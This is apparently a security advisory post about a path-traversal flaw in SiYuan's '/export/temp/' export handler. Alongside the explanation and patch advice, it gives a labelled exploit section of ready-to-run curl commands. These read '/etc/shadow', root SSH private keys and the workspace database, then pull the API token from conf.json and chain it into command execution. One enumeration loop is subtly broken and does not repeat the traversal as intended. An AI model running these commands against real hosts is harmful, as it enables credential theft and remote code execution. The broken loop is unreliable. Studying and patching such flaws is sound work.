Listen to this Post
SiYuan before v3.7.2 contains a path traversal vulnerability in the `/export/temp/` short-circuit branch of the `serveExport` handler (kernel/server/serve.go).
The vulnerability stems from an incomplete fix lineage. Earlier export disclosure issues (CVE-2026-30869) were addressed in commit `bb481e1` by adding `IsSubPath` and `IsSensitivePath` guards to the main export branch. However, a follow-up bypass (CVE-2026-41894) exploited double URL encoding (%252e%252e) because the fix only added a denylist check without addressing the root cause — a redundant `url.PathUnescape()` call.
The present vulnerability (CVE-2026-65607) exists because the `/export/temp/` short-circuit branch — which executes before the main branch — was never covered by these guards. The handler begins with:
if strings.HasPrefix(c.Request.URL.Path, "/export/temp/") {
c.File(filepath.Join(util.TempDir, c.Request.URL.Path))
return
}
This branch joins `util.TempDir` with the raw, percent-decoded request path and serves the file with neither `IsSubPath` nor `IsSensitivePath` checks. The `net/http` package percent-decodes c.Request.URL.Path, so `%2e%2e` becomes `..` and `filepath.Join` collapses the traversal sequence. An authenticated request to `/export/temp/%2e%2e/…/etc/passwd` traverses out of `TempDir` and reads arbitrary files — exactly the sensitive-file disclosure the patch intended to prevent. This vulnerability is present from commit `bb481e1` (the hardening) through the latest master.
DailyCVE Form:
Platform: SiYuan
Version: < 3.7.2
Vulnerability: Path Traversal
Severity: HIGH
Date: 2026-07-23
Prediction: 2026-08-15
What Undercode Say:
Check SiYuan version
curl -s http://target:6806/api/system/getVersion | jq '.data.version'
Test main branch guard (should return 401/403)
curl -s -o /dev/null -w "%{http_code}" "http://target:6806/export/conf/conf.json"
Test /export/temp/ bypass (should return 200)
curl -s "http://target:6806/export/temp/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
Read SiYuan workspace database
curl -s "http://target:6806/export/temp/%2e%2e/%2e%2e/%2e%2e/workspace/siyuan.db" -o siyuan.db
Read SSH keys
curl -s "http://target:6806/export/temp/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa"
Read kernel logs
curl -s "http://target:6806/export/temp/%2e%2e/%2e%2e/%2e%2e/siyuan/logs/kernel.log"
Exploit: (Educational Purposes!)
Enumerate sensitive files
for file in "etc/passwd" "etc/shadow" "etc/hostname" "proc/self/environ"; do
echo "[] Reading /$file"
curl -s "http://target:6806/export/temp/$(printf '%2e%2e/' | head -10)$file"
done
Extract conf/conf.json (contains API token, cookie signing key, access auth code)
curl -s "http://target:6806/export/temp/%2e%2e/%2e%2e/%2e%2e/conf/conf.json" | jq '.'
Chain into RCE by leaking secrets and using kernel API
TOKEN=$(curl -s "http://target:6806/export/temp/%2e%2e/%2e%2e/%2e%2e/conf/conf.json" | jq -r '.apiToken')
curl -H "Authorization: Token $TOKEN" "http://target:6806/api/system/exec" -d '{"cmd":"id"}'
Protection:
- Apply `IsSubPath` + `IsSensitivePath` checks to the `/export/temp/` branch
- Restrict the branch root to `TempDir/temp` with an explicit `IsSubPath` check
- Use `filepath.Clean` on the request path and reject any path containing `..`
– Merge both branches into one guarded file-serving function - Upgrade to SiYuan v3.7.2 or later
Impact:
Authenticated arbitrary file read bypassing sensitive-file protection: /etc/passwd, SSH keys (~/.ssh/), SiYuan `.db` workspace data, and `.log` files. Leaking `conf/conf.json` exposes the API token, cookie signing key, and workspace access authentication code, potentially enabling administrative access to the SiYuan kernel API and chaining into remote code execution (RCE).
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
